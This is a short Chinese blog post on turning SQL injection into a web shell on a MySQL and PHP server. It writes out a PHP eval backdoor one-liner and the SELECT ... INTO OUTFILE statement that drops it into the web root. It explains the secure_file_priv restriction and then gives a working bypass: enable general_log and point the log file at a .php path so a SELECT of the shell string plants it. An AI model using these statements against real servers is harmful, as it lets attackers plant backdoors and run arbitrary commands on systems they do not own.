SQL注入getshell-load_file读写文件

当想要注入一个shell的时候,用了这么个语句

select '<?php eval($_POST[123]) ?>' into outfile 'D:/phpstudy_pro/WWW/123.php';

意思为,将马写入目标文件

但是,我遇到了一个问题

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限secure_file_priv选项

查看secure_file_priv的命令

show global variables like '%secure%';

secure_file_priv选项

secure_file_priv 

  1、限制mysqld 不允许导入 | 导出
        --secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
      --secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制
              --secure_file_priv= 

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 

win
    my.ini
       [mysqld]
     secure_file_priv=

我这里是NULL,所以是不允许导出

解决方法

  1. 要不然你能把配置改了

  2. 要知道路径

    set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';
    

set global general_log = on;  #开启general log模式
set global general_log_file = 'D:\\phpStudy\www\\waf\\shell.php'; #设置写入shell路径
select '<?php eval($_POST[cmd]);?>'  #写入shell

之后再写木马,就会默认到这里

posted on 2021-02-21 15:40  猪猪侠的哥哥  阅读(525)  评论(0)    收藏  举报